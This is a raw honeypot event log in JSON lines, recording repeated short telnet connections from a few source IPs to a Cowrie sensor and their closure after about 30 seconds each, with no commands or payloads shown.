{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":48580,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c1087d5ca3a","protocol":"telnet","message":"New connection: 50.116.100.16:48580 (159.203.135.109:23) [session: 0c1087d5ca3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:14.482924Z"}
{"eventid":"cowrie.session.closed","duration":30.712544441223145,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:14.486715Z","src_ip":"66.113.179.55","session":"c016cd2bfc9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79547882080078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:14.501756Z","src_ip":"66.113.179.55","session":"08b9c39002cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":52150,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbfa78d95643","protocol":"telnet","message":"New connection: 66.113.179.55:52150 (10.17.0.5:23) [session: cbfa78d95643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:14.596282Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":52566,"dst_ip":"10.17.0.5","dst_port":23,"session":"43ef9994a289","protocol":"telnet","message":"New connection: 66.113.179.55:52566 (10.17.0.5:23) [session: 43ef9994a289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:14.762733Z"}
{"eventid":"cowrie.session.closed","duration":30.96783757209778,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:14.914970Z","src_ip":"66.113.179.55","session":"9e681a604fce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81383728981018,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:15.480302Z","src_ip":"66.113.179.55","session":"79b247bc4bfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82715106010437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:15.538561Z","src_ip":"66.113.179.55","session":"258d315c9940","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":54910,"dst_ip":"10.17.0.5","dst_port":23,"session":"02f7a2ba50bd","protocol":"telnet","message":"New connection: 66.113.179.55:54910 (10.17.0.5:23) [session: 02f7a2ba50bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:15.669396Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":55218,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b23a2592aee","protocol":"telnet","message":"New connection: 66.113.179.55:55218 (10.17.0.5:23) [session: 5b23a2592aee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:15.788668Z"}
{"eventid":"cowrie.session.closed","duration":31.013466835021973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:16.220055Z","src_ip":"50.116.100.16","session":"7d72720d3f54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":56420,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1c65036b532","protocol":"telnet","message":"New connection: 66.113.179.55:56420 (10.17.0.5:23) [session: d1c65036b532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:16.256413Z"}
{"eventid":"cowrie.session.closed","duration":31.237176179885864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:16.265642Z","src_ip":"66.113.179.55","session":"794f31980549","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59896183013916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:16.495072Z","src_ip":"66.113.179.55","session":"daf94f1d11c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":57906,"dst_ip":"10.17.0.5","dst_port":23,"session":"c72720aeaf0e","protocol":"telnet","message":"New connection: 66.113.179.55:57906 (10.17.0.5:23) [session: c72720aeaf0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:16.880358Z"}
{"eventid":"cowrie.session.closed","duration":30.612716674804688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:17.158961Z","src_ip":"50.116.100.16","session":"ce733bf932b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.197386741638184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:17.507313Z","src_ip":"66.113.179.55","session":"af5da0790dff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61815309524536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:17.521859Z","src_ip":"66.113.179.55","session":"f7118b3130ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.836496829986572,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:17.573320Z","src_ip":"66.113.179.55","session":"5c8c71c3ebb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1619291305542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:17.581544Z","src_ip":"66.113.179.55","session":"41eb5ce51a15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.902348041534424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:17.610942Z","src_ip":"66.113.179.55","session":"caab89383287","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.865349531173706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:18.512393Z","src_ip":"66.113.179.55","session":"18942057c551","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25046133995056,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:18.999484Z","src_ip":"66.113.179.55","session":"586f17895155","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20002269744873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:19.045920Z","src_ip":"66.113.179.55","session":"8b47d49d119a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":35962,"dst_ip":"10.17.0.5","dst_port":23,"session":"02d4dfb28e55","protocol":"telnet","message":"New connection: 66.113.179.55:35962 (10.17.0.5:23) [session: 02d4dfb28e55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:19.111150Z"}
{"eventid":"cowrie.session.closed","duration":31.04229211807251,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:19.349233Z","src_ip":"50.116.100.16","session":"86038b5138bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.508113622665405,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:19.540523Z","src_ip":"66.113.179.55","session":"90b177d99040","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":37426,"dst_ip":"10.17.0.5","dst_port":23,"session":"4525fd7b2ade","protocol":"telnet","message":"New connection: 66.113.179.55:37426 (10.17.0.5:23) [session: 4525fd7b2ade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:19.657618Z"}
{"eventid":"cowrie.session.closed","duration":30.520033359527588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:20.121665Z","src_ip":"50.116.100.16","session":"216227ef13c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":39436,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec3991dad85a","protocol":"telnet","message":"New connection: 66.113.179.55:39436 (10.17.0.5:23) [session: ec3991dad85a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:20.411765Z"}
{"eventid":"cowrie.session.closed","duration":30.474440336227417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:20.585151Z","src_ip":"66.113.179.55","session":"de1f875ad256","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":39994,"dst_ip":"10.17.0.5","dst_port":23,"session":"32b3155ebb50","protocol":"telnet","message":"New connection: 66.113.179.55:39994 (10.17.0.5:23) [session: 32b3155ebb50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:20.632524Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":55386,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c6784541e00","protocol":"telnet","message":"New connection: 50.116.100.16:55386 (159.203.135.109:23) [session: 7c6784541e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:20.771481Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":40608,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac2705c72ebf","protocol":"telnet","message":"New connection: 66.113.179.55:40608 (10.17.0.5:23) [session: ac2705c72ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:20.868781Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":55924,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd5225b926ff","protocol":"telnet","message":"New connection: 50.116.100.16:55924 (159.203.135.109:23) [session: bd5225b926ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:21.314234Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":42462,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b799092a52c","protocol":"telnet","message":"New connection: 66.113.179.55:42462 (10.17.0.5:23) [session: 3b799092a52c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:21.483646Z"}
{"eventid":"cowrie.session.closed","duration":30.81521201133728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:21.512027Z","src_ip":"66.113.179.55","session":"30ef5d3c4210","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.110450983047485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:21.534822Z","src_ip":"66.113.179.55","session":"49de57d04aad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.678629875183105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:21.595894Z","src_ip":"66.113.179.55","session":"239e2a8f57a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":43102,"dst_ip":"10.17.0.5","dst_port":23,"session":"a170c0810017","protocol":"telnet","message":"New connection: 66.113.179.55:43102 (10.17.0.5:23) [session: a170c0810017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:21.704257Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.64.112.9","src_port":35430,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e9d5c22bf51","protocol":"telnet","message":"New connection: 186.64.112.9:35430 (10.17.0.5:23) [session: 1e9d5c22bf51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:22.483340Z"}
{"eventid":"cowrie.session.closed","duration":30.52797794342041,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:22.518539Z","src_ip":"66.113.179.55","session":"bf43665be126","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49080181121826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:22.543241Z","src_ip":"66.113.179.55","session":"bb571b579b12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.068380117416382,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:22.596714Z","src_ip":"66.113.179.55","session":"2af6cc2d05a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":45730,"dst_ip":"10.17.0.5","dst_port":23,"session":"10b23e956211","protocol":"telnet","message":"New connection: 66.113.179.55:45730 (10.17.0.5:23) [session: 10b23e956211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:22.604044Z"}
{"eventid":"cowrie.session.closed","duration":30.195157527923584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:23.481897Z","src_ip":"66.113.179.55","session":"b51be149d9b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82881736755371,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:23.523684Z","src_ip":"66.113.179.55","session":"bfb00b7fab3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.923327922821045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:23.528947Z","src_ip":"66.113.179.55","session":"025659d7897d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.749456644058228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:23.560508Z","src_ip":"66.113.179.55","session":"baab6a363cce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.686241388320923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:24.147075Z","src_ip":"50.116.100.16","session":"7bf214e14eaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07274055480957,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:24.485799Z","src_ip":"66.113.179.55","session":"4f0962258136","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8287832736969,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:24.498879Z","src_ip":"66.113.179.55","session":"cd1798721099","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.883402585983276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:24.557698Z","src_ip":"50.116.100.16","session":"544a478e22f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67136526107788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:24.569211Z","src_ip":"66.113.179.55","session":"700ee45f0014","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":51716,"dst_ip":"10.17.0.5","dst_port":23,"session":"65ac92987b48","protocol":"telnet","message":"New connection: 66.113.179.55:51716 (10.17.0.5:23) [session: 65ac92987b48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:24.787063Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":60072,"dst_ip":"159.203.135.109","dst_port":23,"session":"37b04be83796","protocol":"telnet","message":"New connection: 50.116.100.16:60072 (159.203.135.109:23) [session: 37b04be83796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:24.946045Z"}
{"eventid":"cowrie.session.closed","duration":31.56447410583496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:25.223728Z","src_ip":"66.113.179.55","session":"f58ebb0a2a23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.946696758270264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:25.480884Z","src_ip":"66.113.179.55","session":"9afaf00899ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74378800392151,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:25.488553Z","src_ip":"66.113.179.55","session":"0628905e4138","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":54104,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1cff1bab81d","protocol":"telnet","message":"New connection: 66.113.179.55:54104 (10.17.0.5:23) [session: c1cff1bab81d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:25.657733Z"}
{"eventid":"cowrie.session.closed","duration":30.487592697143555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:25.666102Z","src_ip":"66.113.179.55","session":"b68d6c763a58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":54672,"dst_ip":"10.17.0.5","dst_port":23,"session":"efb2513adc56","protocol":"telnet","message":"New connection: 66.113.179.55:54672 (10.17.0.5:23) [session: efb2513adc56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:25.861335Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":55010,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ecd110b810b","protocol":"telnet","message":"New connection: 66.113.179.55:55010 (10.17.0.5:23) [session: 9ecd110b810b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:25.998324Z"}
{"eventid":"cowrie.session.closed","duration":30.708407878875732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:26.499962Z","src_ip":"66.113.179.55","session":"2e6797069db7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":56468,"dst_ip":"10.17.0.5","dst_port":23,"session":"09704735c1ef","protocol":"telnet","message":"New connection: 66.113.179.55:56468 (10.17.0.5:23) [session: 09704735c1ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:26.511799Z"}
{"eventid":"cowrie.session.closed","duration":30.8829026222229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:26.811023Z","src_ip":"66.113.179.55","session":"b0e5920a40be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":58570,"dst_ip":"10.17.0.5","dst_port":23,"session":"b228495df8ab","protocol":"telnet","message":"New connection: 66.113.179.55:58570 (10.17.0.5:23) [session: b228495df8ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:27.103265Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.64.112.9","src_port":36232,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e29a5bb350e","protocol":"telnet","message":"New connection: 186.64.112.9:36232 (10.17.0.5:23) [session: 2e29a5bb350e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:27.344459Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.64.112.9","src_port":36240,"dst_ip":"10.17.0.5","dst_port":23,"session":"892b20e80791","protocol":"telnet","message":"New connection: 186.64.112.9:36240 (10.17.0.5:23) [session: 892b20e80791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:27.360113Z"}
{"eventid":"cowrie.session.closed","duration":30.86177110671997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:27.494526Z","src_ip":"66.113.179.55","session":"90d85ab2d5bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.04412007331848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:28.115327Z","src_ip":"50.116.100.16","session":"943d9246a35f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39644193649292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:28.509273Z","src_ip":"66.113.179.55","session":"0f2d6d7450a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.348559141159058,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:28.607279Z","src_ip":"66.113.179.55","session":"fddc6d6ef0de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.880754709243774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:28.627402Z","src_ip":"66.113.179.55","session":"9f866533f9c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":34878,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e6c69a9d103","protocol":"telnet","message":"New connection: 66.113.179.55:34878 (10.17.0.5:23) [session: 9e6c69a9d103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:28.732948Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":35970,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bcdef160d9d","protocol":"telnet","message":"New connection: 66.113.179.55:35970 (10.17.0.5:23) [session: 0bcdef160d9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:29.060812Z"}
{"eventid":"cowrie.session.closed","duration":30.941147327423096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:29.118838Z","src_ip":"50.116.100.16","session":"d58cbe082500","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.976760864257812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:29.125733Z","src_ip":"50.116.100.16","session":"4f221b8c6eec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":36974,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f3f43f443ca","protocol":"telnet","message":"New connection: 66.113.179.55:36974 (10.17.0.5:23) [session: 1f3f43f443ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:29.387904Z"}
{"eventid":"cowrie.session.closed","duration":30.265898942947388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:29.535399Z","src_ip":"66.113.179.55","session":"c03c2799ca70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":37420,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f11f28e0656","protocol":"telnet","message":"New connection: 66.113.179.55:37420 (10.17.0.5:23) [session: 4f11f28e0656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:29.556939Z"}
{"eventid":"cowrie.session.closed","duration":31.317885637283325,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:30.111619Z","src_ip":"66.113.179.55","session":"e38b8344fd25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.749773263931274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:30.476918Z","src_ip":"66.113.179.55","session":"0002a06be1e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.802668809890747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:30.497657Z","src_ip":"66.113.179.55","session":"91df275758c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":40848,"dst_ip":"10.17.0.5","dst_port":23,"session":"1157932f64ba","protocol":"telnet","message":"New connection: 66.113.179.55:40848 (10.17.0.5:23) [session: 1157932f64ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:03:30.803322Z"}
